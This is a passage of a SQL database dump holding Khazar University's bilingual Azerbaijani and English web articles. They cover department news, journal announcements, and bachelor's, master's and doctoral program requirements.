History and Archeology\r\nheld a meeting for freshmen. Associate Professor Roza Arazova, Head of the\r\nDepartment of History and Archeology, spoke to the students about the history\r\nof Khazar University, including initial difficulties and the hard road to\r\nsuccess. </p>\r\n<p>Other\r\nparticipants in the meeting included Tarana Isayeva and Orkhan Zamanov,\r\ninstructors of the department; Akifa Jafarli, Assistant to the Department\r\nChair; and upperclassmen. The instructors distributed student ID cards to the\r\nnew students after greeting them. Then upperclassmen also gave the new students\r\nadvice for their studies. </p>\r\n<p>Then\r\nthe students watched a video clip about seminars, meetings, and field trips\r\norganized by the Department. At the end of the meeting, Akifa Jafarli took the\r\nnew students on a brief tour of the university.&nbsp;</p>'),(2172,1332,'az','Tarix və arxeologiya departamentində 1-ci kurs tələbələri ilə görüş təşkil olundu','2016-cı il sentyabrın 15-də Xəzər Universiteti Tarix və arxeologiya departamentində 1-ci kurs tələbələri ilə görüş təşkil olunmuşdu...','<p>2016-cı il sentyabrın 15-də Xəzər Universiteti Tarix və arxeologiya\r\ndepartamentində 1-ci kurs tələbələri ilə görüş təşkil olunmuşdu. Görüşdə Tarix\r\nvə arxeologiya departamentinin müdiri Roza Arazova çıxış etdi. Roza Arazova Xəzər\r\nUniversitetinin hansı çətinliklərlə yaradıldığı, bu günə kimi keçdiyi məşəqqətli\r\nvə uğurlu yol haqqında tələbələrə danışdı. </p>\r\n<p>Görüşdə 1-ci kurs tələbələri\r\nilə yanaşı, Tarix və arxeologiya departamentinin müəllimləri Təranə İsayeva və\r\nOrxan Zamanov, departament müdirinin assistenti Akifə Cəfərli, yuxarı kurs tələbələri\r\nvə məzunları da iştirak edirdilər. Departamentin müəllimləri Təranə İsayeva və\r\nOrxan Zamanov öz xoş arzularını söylədikdən sonra tələbələrə tələbə biletlərini\r\ntədqim etdilər. Yuxarı kurs tələbələri və məzunları da öz ürək sözlərini və məsləhətlərini\r\ndavamçılarına söylədilər. </p>\r\n<p>Daha sonra tarix və\r\narxeologiya departamentinin təşkil etdiyi seminarlar, görüşlər, müzeylərə və\r\nrayonlara edilmiş səyahətlərdən ibarət videorolik göstərildi. </p>\r\nSon olaraq, departament müdirinin assistenti Akifə Cəfərli qısa bir\r\nekskursiya ilə tələbələri universitetlə tanış etdi.&nbsp;'),(505,331,'az','Bakalavr dərəcə proqramı','Bakalavr dərəcə proqramı',''),(506,331,'en','Undergraduate Programs','Undergraduate Programs',''),(507,332,'az','Magistr proqramı MA','Magistr proqramı MA','<p><br></p><p style=\"font-family:arial, helvetica, sans-serif\"><img src=\"/files/15_10_14_grad.jpg\" style=\"width:350px;height:134px;margin:7px;vertical-align:middle\"><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></p><p><span style=\"color:#000000;font-size:large\"><a href=\"http://www.khazar.org/files/social/1/emr.S2672.PDF\"><strong style=\"font-size:medium;color:#660066\">2014</strong><strong style=\"font-size:medium;color:#660066\">/2015-ci t</strong><strong style=\"font-size:medium;color:#660066\">ədris ilindən başlayaraq magistratura üzrə ixtisasların kreditlərinin sayı</strong></a></span></p><p style=\"text-align:justify\">Bakalavr proqramını bitirdikdən sonra&nbsp;Magistr proqramlarına qəbul olan bütün tələbələr doktorluq proqramının ilk mərhələsinə xidmət edən magistr tələblərini yerinə yetirməlidir.</p><p style=\"text-align:justify\">Doktorluq proqramları sahələri üzrə tədqiqatçılığa yüksək marağı olan tələbələr üçün nəzərdə tutulmuşdur.</p><p style=\"text-align:justify\">Jurnalistika, Azərbaycanşünaslıq, Azərbaycan dili və İslamşünaslıq kimi ingilis dilində keçirilməyən ixtsasların magistr pilləsinə qəbul olan tələbələrin İngilis dili biliyi yüksək səviyyədə deyilsə İngilis dili və ədəbiyyatı departamenti tərəfindən təklif olunan ən azı iki ingilis dili fənni (minimum 6 kredit) götürməlidirlər. Lakin bu fənlərin kreditləri proqramı bitirmək üçün tələb olunan kreditlərin ümumi sayına (60) şamil olunmur.</p><p style=\"text-align:justify\">Magistratura və&nbsp;doktorluq proqramları aşağıdakı&nbsp;əsas sahələri&nbsp;əhatə&nbsp;edir:</p><ul><li>German dilləri&nbsp;üzrə doktorluq proqramı</li><li>Dilşünaslıq (İngilis dilində)&nbsp;üzrə magistr proqramı</li><li>Tərcümə (İngilis dilində) üzrə magistr proqramı</li><li>Beynəlxalq Jurnalistika&nbsp;üzrə magistr proqramı</li><li>Radiotelejurnalistika üzrə magistr proqramı</li><li>Regionşünaslıq (Avropaşünaslıq)&nbsp;üzrə magistr proqramı</li><li>Beynəlxalq münasibətlər və diplomatiya&nbsp;üzrə magistr proqramı</li><li>Beynəlxalq münasibətlər tarixi və nəzəriyyəsi&nbsp;üzrə magistr proqramı</li><li>Konfliktologiya&nbsp;üzrə magistr proqramı</li><li>Dünya siyasi prosesləri&nbsp;üzrə magistr proqramı</li><li>Ümumi psixologiya&nbsp;üzrə magistr proqramı</li><li>Klinik psixologiya&nbsp;üzrə magistr proqramı</li></ul><p>Qəbul komitəsi bütün&nbsp;ərizələri nəzərdən keçirir və&nbsp;aşağıdakılara xüsusi diqqət yetirir:</p><ul><li>akademik dərəcəyə</li><li>iki tövsiyə&nbsp;məktubuna</li><li>şəxsi müsahibəyə</li></ul><p style=\"text-align:justify\"><span style=\"text-align:justify\">Nəzərə&nbsp;almaq lazımdır ki, aşağıda göstərilən məlumatlar bütün proqramları&nbsp;əhatə&nbsp;etmir. Bəzi proqramlar bir nümunə&nbsp;kimi verilmişdir. İngilis dili üçün nəzərdə&nbsp;tutulmuş bu nümunə&nbsp;Ərəb, Fars və&nbsp;Türk dilləri kimi digər dillər üçün də&nbsp;uyğundur. Regionşünaslıq proqramları sahələrarası proqram formasında təklif olunur, buraya müxtəlif departamentlərin kursları daxil edilir. Ph.D. və magistr tələbələri bəzi hallarda magistr və bakalavr pilləsində fənn tədris etməklə kredit (6 kreditdən çox olmayaraq) toplaya bilər.</span></p><p style=\"color:#660066\"><strong>Ph.D. proqramı</strong></p><p style=\"text-align:justify\">Proqrama qəbul üçün təqdim edilən ərizələr&nbsp;Məzunlar Tədris Komitəsi&nbsp;(Magistratura və aspirantura Şurası) tərəfindən təsdiq edilməlidirlər. Qəbul üçün bir neçə kriteriyalar mövcuddur və ancaq bu meyarların tələblərinə cavab verən ərizələr, obyektiv olaraq münasib şəxslər hesab olunurlar. Bundan əlavə,&nbsp;Qəbul Komitəsi&nbsp;hər ərizənin fərdi aspektlərinə nəzər yetirir.&nbsp;</p><p style=\"text-align:justify\">PHD (Doktorluq) Proqramı (Fəlsəfə Elmləri Doktoru FED Proqramı) yüksək akademik bacarıqlarına və araşdırma maraqlarına malik olan tələbələr üçün təşkil edilib. Hər bir PHD (FED) tələbəsi üçün xüsusi akademik ehtiyaclarından və tədqiqat maraqlarından asılı olaraq fərdi təhsil proqramı planlaşdırılır.</p><p style=\"text-align:justify\">PHD (Doktorluq) Proqramına daxil olan magistr dərəcəsinə malik olan namizdlərdən tələbələrin və onların elmi rəhbərlərinin çoxlu sayda sahəsi üzrə kreditlərin əldə edilməsi məqsədlərindən asılı olmayaraq, ən azı 7 fənnin (32 kreditin) götürülməsi, distertasiyanın 10-12 kreditini daxil edilməsi də tələb olunur.</p><p style=\"text-align:justify\">Tələbə ümumi orta balı 80-dən az olmayaraq əsas tələbləri yerinə yetirməlidir. Ph.D. namizədlər öz sahəsində bakalavr fənləri tədris etməklə 6 kredit əldə edə bilərlər. Bundan əlavə, tələbələr müvafiq təşkilatlarda təcrübə(3 kredit) keçməyə təşviq olunurlar.Xarici təşkilatlardakı inetrnaturanın keçirilməsi məsələsinə universitetin tədris qaydalarına (siyasətinə) münasib olaraq&nbsp;Məzunların Tədris Komitəsi&nbsp;tərəfindən baxıla bilər. Kurs işini və ixtisas imtahanlarını müvəffəqiyyətlə bitirdikdə, tələbələr dissertasiya mövzusunu seçirlər. Kandidatorlar (namizədlər) öz dissertasiyalarında orijinal araşdırma aparmaqla fərdi müstəqil tədqiqat aparma qabiliyyətlərini nümayiş etdirməlidirlər. Onlar nəyə qadir olduqlarını tam şəkildə yekun (final) şifahi imatahanında göstərməli, öz dissertasiyalarını müdafiə etməli və müvafiq ixtisas sahələrinə mükəmməl ustalıq məharəti ilə qiymətli töhfələr verməlidirlər.</p><p style=\"text-align:justify\">Onlar ixtisasları üzrə yazılı imtahanları başa vurduqdan sonra 5 il ərzində yekun imtahanlarını verməli və disertasiyalarını müdafiə etməlidirlər. Hər bir istisna halı&nbsp;Dissertasiya Komitəsi (Şurası) və Fakültənin Dekanı&nbsp;tərəfindən təsdiqlənməlidir, bu da yekun imtahanının təkrarlanmasını ehtiva edir. Ümumi məlumatüçün müvafiq kataloqun&nbsp;Doktorluq Proqramının&nbsp;təhsil siyasəti,&nbsp;Akademik Qaydalar&nbsp;adlı bölməsinə xüsusi iddialar müvafiq şöbələrdən (departamentlərdən) əldə edilə bilər.</p>'),(6375,3622,'az','“Səssiz filmim: Mən və aynam” seminarı təşkil olundu','2018-ci il noyabrın 12-də Xəzər Universitetinin Psixologiya Departamentinin koordinatoru...','<p>2018-ci il noyabrın 12-də Xəzər Universitetinin Psixologiya Departamentinin koordinatoru, Xəzər Psixoloji Xidmət Mərkəzinin direktoru psixoloq Mələk Kərimova Azərbaycan İlahiyyat İnstitutunun dəvəti ilə “Səssiz filmim: Mən və aynam” seminarını təşkil etdi. Təlimdə məqsəd gənclərin daxili dünyalarını tanımalarına dəstək olmaq, onların özləri və ətraf mühitlə əlaqələrində rol oynayan amilləri şərh etmək, şəxsin daxili dünyasında etdiyi səssiz söhbətlərin onların istək və motivasiyalarına necə təsir etdiyi göstərməkdir. Təlim gənclərin mənəvi cəhətdən özlərini daha yaxşı tanıyaraq, daxili potensiallarını ortaya çıxarma yolları üzərində dayanma, problemi həll etmə bacarıqlarına fokuslanmışdır.</p><p>Tədbir interaktiv şəkildə davam etdirildi. Təlimdən məmnun qalan tələbə və müəllim heyəti Xəzər Universiteti ilə qarşılıqlı əməkdaşlıqdan məmnuniyyətlərini ifadə etdilər.</p>'),(2169,1331,'az','“Khazar Journal of Humanities and Social Sciences” jurnalının yeni sayı çapdan çıxdı','Xəzər Universitetinin Nəşriyyatında “Khazar Journal of Humanities and Social Sciences” jurnalının (“Xəzər Humanitar və Sosial Elmlər Jurnalı”) növbəti sayı...','<p style=\"\" text-align:justify;text-indent:.25in;line-height:13.65pt;background:white\"\"=\"\">Xəzər Universitetinin Nəşriyyatında “Khazar\r\nJournal of Humanities and Social Sciences” jurnalının (“Xəzər Humanitar və\r\nSosial Elmlər Jurnalı”) növbəti sayı (Vol 19, № 3, 2016) çapdan çıxmışdır.</p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:13.65pt;background:white\"\"=\"\">Jurnalın bu sayında “Teodor\r\n<em>Drayzer “Kerri bacı” əsərində\r\nsosial-psixoloji faktorların təhlili”, “Filippinin milli inkişafına təsir edən\r\nsülh quruculuğu təcrübəsi”, “Məhəmməd Zidari Nəssəvinin yaradıcılığındakı önəmli\r\nməqamlar”,</em><em> “</em><em>Zehni</em>və\r\ninkişaf çətinliyi çəkən <em>əngəlli uşaqlar</em>ın ailəsində mövcud ehtiyaclar”, “Müəllimlərin\r\nhipotetik səviyyədə yaradıcılıq qabiliyyətlərinin araşdırılması”, “Azərbaycan,\r\ntürk, fars və ingilis dilində qrammatik oxşarlıqların araşdırılması”, “Xudai\r\nXidmətkar və Müstəqillik hərəkatlarında sosial-siyasi faktorların müqayisəsi” və\r\ns. kimi məsələlərə toxunulmuşdur.<em></em></p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:13.65pt;background:white\"\"=\"\">Jurnal ildə dörd dəfə ingilis dilində nəşr\r\nolunur. Jurnalın elektron versiyası ilə bu link vasitəsilə tanış olmaq olar: <a href=\"http://jhss-khazar.org/\" target=\"_blank\">http://jhss-khazar.org/</a>.</p>'),(2166,1328,'en','Founder Appointed as Member of Statistics Committee’s Statistics Board','On September 15, 2016, the Cabinet of Ministers passed an order number 346 entitled “On the Confirmation of the New Composition of the Statistics Board functioning under the...','<p>On\r\nSeptember 15, 2016, the Cabinet of Ministers passed an order number 346\r\nentitled “On the Confirmation of the New Composition of the Statistics Board\r\nfunctioning under the State Statistics Committee of the Azerbaijan Republic” in\r\norder to announce the composition of a new board, as the previous board’s term\r\nhad expired. According to the new order, Professor Hamlet Isaxanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees, was\r\nappointed as a member of the Board.&nbsp;</p>'),(504,329,'en','Requirements for Bachelor\'s Degree Programs','Requirements for Bachelor\'s Degree Programs','<p style=\"text-align:justify\">The Bachelor\'s degree is conferred by the university upon the student’s application when the student has earned the minimum number of credits required for the degree and has met the requirements for the right distribution of the courses. Students must complete at least 132 credits (274 ECTS) to graduate, including a minimum of 72 credits (144 ECTS) in the major.</p><p style=\"text-align:justify\">Each student must satisfy three types of requirements for the Bachelor’s degree:</p><p style=\"text-align:justify\"><em>• University Requirements</em></p><p style=\"text-align:justify\"><em>• General Education Requirements</em></p><p style=\"text-align:justify\"><em>• Major and Major-related Requirements</em></p><p style=\"text-align:justify\"><em>University Requirements –&nbsp;</em>include two main components English Language and Azerbaijani Studies and give the total number of 27&nbsp;credits (54 ECTS).</p><p style=\"text-align:justify\"><em>The English language&nbsp;</em>includes credits of:</p><p style=\"text-align:justify\">• ENGL101 English Foundations -1<span class=\"Apple-tab-span\" style=\"white-space:pre\"> (4 credits) 8 ECTS</span><br></p><p style=\"text-align:justify\">• ENGL102 English Foundations -<span class=\"Apple-tab-span\" style=\"white-space:pre\">2 (4 credits) 8 ECTS </span><br></p><p style=\"text-align:justify\">• ENGL103 Academic English <span class=\"Apple-tab-span\" style=\"white-space:pre\"> (4 credits) 8 ECTS </span><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">English for Special Purposes (ESP) or English as a Second Language (ESL)/pre-advanced* (3 credits) 6 ECTS</p><p style=\"text-align:justify\"><em>* NOTE:&nbsp;</em>This ESL course is offered instead of ESP to the students majoring in the English Language and Literature, and English Translation and Journalism/English.</p><p style=\"text-align:justify\"><em>Azerbaijani Studies&nbsp;</em>includes 12 credits&nbsp;(24 ECTS) of:</p><ul><li>Azerbaijani language <span class=\"Apple-tab-span\" style=\"white-space:pre\"> (3 credits) 6 ECTS </span></li><li>Azerbaijani literature <span class=\"Apple-tab-span\" style=\"white-space:pre\"> (3 credits) 6 ECTS </span></li><li>Azerbaijani Culture <span class=\"Apple-tab-span\" style=\"white-space:pre\"> (3 credits) 6 ECTS </span></li><li>History of Azerbaijan <span class=\"Apple-tab-span\" style=\"white-space:pre\"> (3 credits) 6 ECTS </span></li></ul><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><em>General Education Requirements</em>&nbsp;are composed of three components for a minimum of 21 credits (42 ECTS).</p><p style=\"text-align:justify\">General Education Courses introduce undergraduates to the richness and diversity of the various academic disciplines. No matter what a student’s specific educational goal is, General Education Requirements are designed to broaden students’ intellectual perspective and to assist them in becoming educated members of society.</p><p style=\"text-align:justify\">Regardless of their majors, students must meet the GER in the Freshman and Sophomore years. Students must complete three components of the General Education Program for 21 credits (42 ECTS):</p><ul><li><em>Humanities</em></li><li><em>Social Sciences</em></li><li><em>Science and Technology</em></li></ul><p style=\"text-align:justify\"><em>The Humanities</em>&nbsp;division of the program includes particular courses in&nbsp;Literature, Language and Linguistics, Philosophy, History, Culture and Civilization, Fine Arts and Art History. Students must take at least two courses with a minimum of 6 credits (12 ECTS), 3 credits (6 ECTS) for each course.</p><p style=\"text-align:justify\"><em>The Social Sciences&nbsp;</em>group contains courses in History, Geography, Political Science, International Relations, Law and Government, Anthropology, Economics, Sociology, and Psychology. Students must take at least two courses with a minimum of 6 credits, 3 credits (6 ECTS) for each course.</p><p style=\"text-align:justify\"><em>The Science and Technology</em>&nbsp;component of the General Education Program unites three divisions:</p><ul><li><em>Physical Sciences and Mathematics</em></li><li><em>Life Sciences</em></li><li><em>Computer Sciences</em></li></ul><p style=\"text-align:justify\">and contains, for example, Mathematics, Computer Science, Physics, Chemistry, Astronomy, Geography and Environmental Studies, Geology, Biological Sciences and Anthropology, Medical Science.&nbsp;Students must complete at least three courses, at least one from each subgroup with a minimum of 9 credits (18 ECTS), 3 credits (6 ECTS) for each course.</p><p style=\"text-align:justify\">Some of the fields of study may be included in different divisions according to the content of courses or applied methods. For example, courses in Anthropology, Geography, and Psychology are related to the Social Sciences division, but, at the same time, some courses in these areas may concern themselves also with Natural Sciences.</p><p style=\"text-align:justify\">Courses required to satisfy the Major Requirements may not be used to complete the minimum 21 credits (42 ECTS) for GER, except maybe one course in the major.&nbsp;Some degree programs require additional work in the three areas mentioned above or require the student to take specific courses to fulfill the GER.</p><p style=\"text-align:justify\"><em>Open Electives:&nbsp;</em>students must take at least two additional courses with a minimum of 6 credits (12 ECTS). These courses can be taken from any major or non-major divisions without any restriction.&nbsp;</p>'),(2167,1329,'az','AzərTAc Təbriz Universiteti ilə Xəzər Universiteti arasında imzalanmış memorandumdan yazdı','Xəbər verildiyi kimi, 2016-cı il sentyabrın 13-də Təbriz Universiteti ilə Xəzər Universiteti arasında memorandum imzalanmışdır...','<p>Xəbər verildiyi kimi, 2016-cı\r\nil sentyabrın 13-də Təbriz Universiteti ilə Xəzər Universiteti arasında\r\nmemorandum imzalanmışdır. Bu barədə Azərbaycan Dövlət İnformasiya Agentliyi (AzərTAc)\r\ndə rəsmi İnternet səhifəsində məlumat yaymışdır.</p>\r\n<p>Xəbəri tam şəkildə oxumaq və tədbirdə çəkilmiş şəkillərə baxmaq üçün\r\nbu linkə daxil olmaq lazımdır:</p>\r\n<p><a href=\"http://azertag.az/xeber/Tebriz_ve_Xezer_universitetleri_arasinda_emekdasliga_dair_memorandum_imzalanib-993086\">http://azertag.az/xeber/Tebriz_ve_Xezer_universitetleri_arasinda_emekdasliga_dair_memorandum_imzalanib-993086</a>.</p>'),(2170,1331,'en','New Issue of Khazar Journal of Humanities and Social Sciences Published','The new issue of Khazar Journal of Humanities and Social Sciences (Vol 19, № 3, 2016), has been published by Khazar University Press...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:9.1pt;margin-left:0in;text-align:justify;line-height:13.65pt;background:white\"\"=\"\">The new issue of Khazar Journal of Humanities and Social\r\nSciences (Vol 19, № 3, 2016), has been published by Khazar University Press. </p>\r\n<p>Issues that were touched upon in this issue include class\r\noppression and consumerism in Dreiser’s <em>Sister Carrie;</em> implications of\r\npeacebuilding on Philippine national development; investigation of hypothetic-creative\r\nreasoning skills of teacher trainees; acquisition of spatial adjectives in the\r\ncase of a four-year-old child knowing Azerbaijani Turkish, English and Farsi;\r\nhistoriography of Shahabuddin Muhammad Zydari Nassavi; the determination of the\r\nneeds of families with a mentally handicapped child according to their mood;\r\nand interplay of Khudai Khidmatgar and Independence Movement’s socio-political\r\nfactors . </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:9.1pt;margin-left:0in;text-align:justify;line-height:13.65pt;background:white\"\"=\"\">&nbsp;The Journal is published four times a&nbsp;year in\r\nEnglish.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:9.1pt;margin-left:0in;text-align:justify;line-height:13.65pt;background:white\"\"=\"\">The open-access electronic version of the journal can be\r\nfound on:</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:9.1pt;margin-left:0in;text-align:justify;line-height:13.65pt;background:white\"\"=\"\"><a href=\"http://www.jhss-khazar.org\">www.jhss-khazar.org</a> </p>'),(508,332,'en','Graduate Programs MA','Graduate Programs MA','<p><br></p><p><img src=\"http://www.khazar.org/files/15_10_14_grad.jpg\" style=\"width:350px;height:134px;margin:7px;vertical-align:middle\"></p><p><br></p><p style=\"text-align:justify\"><strong style=\"text-align:center\"><a href=\"http://www.khazar.org/files/social/1/emr.S2672.PDF\" style=\"color:#660066\">2014/2015 academic year the number of master\'s specialties loans</a></strong></p> <p style=\"text-align:justify\">All students admitted into the Graduate programs with a BA degree must enter the MA course of study, which also serves as the first phase of the Ph.D. program. The Ph.D. programs are developed for students with strong research interest in the field.</p><p style=\"text-align:justify\">The students admitted to non-English Graduate programs such as Journalism, Azerbaijani Studies, Azerbaijani Language and Islamic Studies should take at least two English language courses (minimum of 6 credits) offered by the English Language and Literature Department if their level of English is not advanced. But the credits for these courses are not calculated towards the total number of credits (60) required for their program.</p><p style=\"text-align:justify\"><strong style=\"color:#660066\"><strong>Master and Ph.D. degree programs cover the following major areas:</strong>&nbsp;</strong></p><ul><li>Ph.D. program in Germanic languages</li><li>Master program in Linguistics (in English)</li><li>Master program in Translation (in English)</li><li>Master program in International Journalism</li><li>Master program in Radiotelejournalism</li><li>Master program in Area Studies</li><li>Master program in International relations and diplomacy</li><li>Master program in Theory and History of international relations&nbsp;</li><li>Master program in Conflictology</li><li>Master program in The World political processes</li><li>Master program in General psychology</li><li>Master program in Clinical psychology</li></ul><p style=\"text-align:justify\"><strong>The admission committee screens all applications, paying special attention:</strong>&nbsp;</p><ul><li>academic credentials&nbsp;</li><li>two letters of recommendation&nbsp;</li><li>a personal interview&nbsp;</li></ul><br><p style=\"text-align:justify\">Keep in mind that the following description covers not all the program studies. Some programs are given as a model. Models for English would be appropriate for other languages such as Arabic, Persian, and Turkish. Area Studies are offered as interdisciplinary programs, involving courses from different departments. In some cases, Ph.D. and Master students may earn credits (no more than 6 credits) by teaching courses in master and bachelor programs.&nbsp;</p><p style=\"text-align:justify\"><strong style=\"font-family:arial, helvetica, sans-serif;color:#660066\">Ph.D. Program</strong></p><p style=\"text-align:justify\">All applications for admission to the program must be approved by the Committee of Graduate Studies (CGS). There are several criteria for admission, none of which will be arbitrarily disregarded, and the best applicants will meet or exceed all of these criteria. However, the Admissions Committee will consider the individual aspects of each application.</p><p style=\"text-align:justify\">The Ph.D. program is developed for students with strong academic skills and research interests. An individual program of study is designed for each Ph.D. student, considering his/her particular academic needs and research interests.</p><p style=\"text-align:justify\">The candidate with a Master Degree admitted to the Ph.D. program is required to take at least 7 courses (32 credits) including a dissertation (10-12 credits) although more credits and courses may be required to satisfy particular aims of the student and the student\'s advisor. A student should complete the Major Requirements with a G.P.A. of 80 or above. Ph.D. candidates can also earn 6 credits by teaching undergraduate courses within their field of study. In addition, students are encouraged to undertake an internship (3 credits) at relevant organizations. Internships in organizations overseas can also be considered by the CGS if satisfying university and departmental policies.</p><p style=\"text-align:justify\">Upon the satisfactory completion of the course-work and the qualifying examination, students select a dissertation topic. Candidates must demonstrate their ability of independent study in their dissertations performing the original research and must present themselves at the final oral examination, in which they must defend their dissertations as estimable contributions to the knowledge in their fields and demonstrate mastery in their areas of specialization as related to the dissertation. They must take the final oral examination (defense of the dissertation) within five years after passing the written examination. Any exception to this rule must be approved by the Dissertation Committee and the Dean of the School and may involve repetition of the final examination.</p><p style=\"text-align:justify\">For general policies regarding doctoral studies, please refer to this Catalog’s section “Academic Policies”. Specific requirements can be obtained from relevant departments.</p>'),(4593,2720,'az','Doktorantın növbəti elmi məqaləsi çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) “Pоль иностранных языков как средства...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) “<em>Pоль иностранных языков как средства общения в современный период</em>” adlı elmi məqaləsi Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən Naxçıvan Dövlət Universitetinin “Elmi əsərlər” adlı jurnalının Humanitar elmlər seriyasının 5-ci sayında çap edilmişdir (ISSN 2224-5529). Məqalədə müasir dövrdə xarici dillərin ünsiyyət vasitəsi olmasından geniş bəhs edilir. Dil, söz və ünsiyyət vasitələrindən, müasir dillərdən və onların hansı məqsədlə işlədilməsindən faktlarla məlumat verilir. Ünsiyyət nədir? Nitq nə üçündür? Ünsiyyət vasitələrinə kömək edən vasitələr hansılardır? və s. bu kimi suallara da müəllif tərəfindən geniş izahlar verilmişdir.</p><p>Məqalə ilə <strong><em><a href=\"/files/letters/humanitar%20186.pdf\">buradan</a>&nbsp;</em></strong>tanış ola bilərsiniz.</p>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (1902,1169,'en','Faculty News ','Faculty News ','<p><br><img src=\"/files/image/faculty_new.jpg\" style=\"border:0px  #000000;width:350px;height:75px;margin:7px;float:left;vertical-align:baseline\"><br><br><br><strong><em><br></em></strong><br></p><p><strong>SPRING-2017</strong></p><p><strong><br></strong></p><p><em><strong style=\"color:#333366\">The next training was held at the Legal Training Center</strong></em></p><ul></ul><p style=\"text-align:justify\">On 9 -10 September, 2017, the next training on \"Analysis of the European Convention on Human Rights\" was held within the framework of a continuing project at the Legal Training Center, established at the School of Humanities and Social Sciences, Khazar University. The graduates and students from a number of universities including Khazar University took part in the training. In the training, the procedure for filing complaints to the European Court of Human Rights was discussed and the participants got closely acquainted with various articles and court decisions of the European Convention on Human Rights.&nbsp;&nbsp;The training was conducted by Konul Gasimova, a member of the European Human Rights Association and the former lawyer at the European Court of Human Rights. Although two days were scheduled for the training, the participants requested to continue the training because it was interesting and productive. Taking the participants’ request into account, the continuation of the training is scheduled for the next months.&nbsp;</p><p style=\"text-align:justify\"><br></p><p><em style=\"color:#660066\"><strong>The research work by Ph.D. student of Khazar University published in Turkey</strong></em></p><p style=\"text-align:justify\">The research work entitled ‘Possibility of Foreign Languages in the Education System of Azerbaijan: Analysis of the Best Foreign Language among Students’ in Higher Private Educational Institutions’, conducted by Valida Karimova, a PhD student of the university, Dean’s assistant, School of Humanities and Social Sciences, was published in the July issue of ‘The Online Journal of Quality in Higher Education’, Sakarya, Turkey.It should be noted that on November 24-25, 2016, the author delivered a presentation under the same title at the international conference held in Sakarya.Valida Karimova\'s research work was conducted with 301 research participants, i.e. students from Khazar University and Qafqaz University (presently Baku Engineering University), during the 2015-2016 academic year, which analyzed the best foreign language and identified the foreign language proficiency level among the two private university students.</p><ul></ul><br>  <p><strong><em style=\"color:#660066\">Director of International Relations Office of Kozminski University on Exchange at Khazar University</em></strong></p><ul></ul><p style=\"text-align:justify\">On July 10-14, 2017, Ms. Valentyna Guminska, Director of International Relations Office at Kozminski University (Warsaw, Poland) participated in a staff mobility at Khazar University within the Erasmus + Program. The main goal of the mobility was to get familiarized with the work of the International Affairs Office of Khazar University as well as other departments and units. During her stay in Baku, Ms. Guminska participated in meetings with Dr. Hassan Niknafs, Rector of Khazar University, Ms. Raziya Isayeva, Development Director, Ms. Lyudmila Sotova, Head of Quality Assurance Center, Ms. Fatma Alakbarova, Coordinator of Career Center, Ms. Irada Khalilova, Head of Biology Department, Dr. Jeyhun Mammadov, Dean of School Economics and Management, Mr. Eldar Shahgaldiyev, Head of Division of Graduate Studies and Research, Dr. Jabir Khalilov, Dean of School of Humanities and Social Sciences, Mr. Elmar Mustafayev, Coordinator at the Department of Political Science and International Relations, and Mr. Eynur Mehdiyev, Vice-chair of Department of English Language and Literature. Ms. Guminska also met with Professor Hamlet Isakhanli, the founder of Khazar University and the Chairman of its Board of Directors and Trustees. Khazar University and Kozminski University signed an Erasmus plus agreement in late 2015 and both universities have exchanged staff and students since then.</p>  <p><strong><em style=\"color:#660066\"><br></em></strong></p><p><strong><em style=\"color:#660066\">The last meeting of the Academic Council was held in the current academic year</em></strong></p><br><div style=\"text-align:justify\">On 6 July, the last meeting of the University Academic Council in the current academic year, chaired by Dr. Hassan Niknafs, the rector of Khazar University, was held. In accordance with the agenda of the meeting, the rector made a speech on the results of the 2016-2017 Academic year and spoke about the achievements and upcoming tasks.Based on the results of the year he stated that a group of staff members - Piri Piriyev, Repair and construction department employee; Alovsat Amirbeyli, Director for Public Relations and Media; Javanshir Azizov, instructor at the Department of Mathematics; Rosa Arazova, Head of Department of History and Archeology; Samira Mirzayeva, Dean Assistant, School of Economics and Management; Lidiya Hamidova, instructor at the Department of English language and Literature; Raziya Isayeva, Head of Development Centre; Vurgun Eyyub, Head of Department of Azerbaijani language and Literature – deserve to be rewarded and the awards were presented to them.Professor Mahammad Nuriyev, Vice President of Khazar University for Academic Affairs, informed that Baba Bayramli, Director of the Center for Alumni Relations, had become a member of the Academic Council and was appointed as the Secretary of the Academic Council.The deans of faculties – Elza Samadova, Jabir Khalilov, Jeyhun Mammadov, and dean assistant Vafa Aslanova – gave information about the students who are graduating in the current academic year. Baba Bayramli spoke about the textbooks and subject programs presented to be published, discussions on the issue were conducted and relevant decisions were made.Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees spoke and gave his recommendations concerning some issues. He also wished success to Sevda Salayeva, assistant to the Chairman of Board of Directors and Trustees, who intended to change her job, and presented her an award.The current issues were also discussed in&nbsp;the meeting of the Academic Council.</div><ul></ul><br>  <p><strong><em style=\"color:#660066\">Master thesis defense was held in English language and Literature Department</em></strong></p><p style=\"text-align:justify\">On June 20, 2017, Konul Mardanova and Nurana Ismayilova, the Master students from the School of Humanities and Social Sciences defended their Master theses at English language and Literature Department.Dr. Eldar Shahgaldiyev, the Head of the Division of Graduate Studies and Research; Dr. Irina Orujova and Dr. Irada Samadova, the teachers from Azerbaijan University of Languages; Eynur Mehdiyev, vice-chair of English language and Literature Department; Milana Abbasova, Minor Programs Coordinator; PhD. Jamala Mammadova and Gulnar Abasova, teachers of the department, took part in the defense.During the defense Master students gave thorough information about their research and answered the questions.Each student successfully defended her thesis and was awarded a Master’s degree.</p><p style=\"text-align:justify\"><br></p>  <p><strong><em style=\"color:#660066\">Doctoral thesis discussion of Khazar University employee was 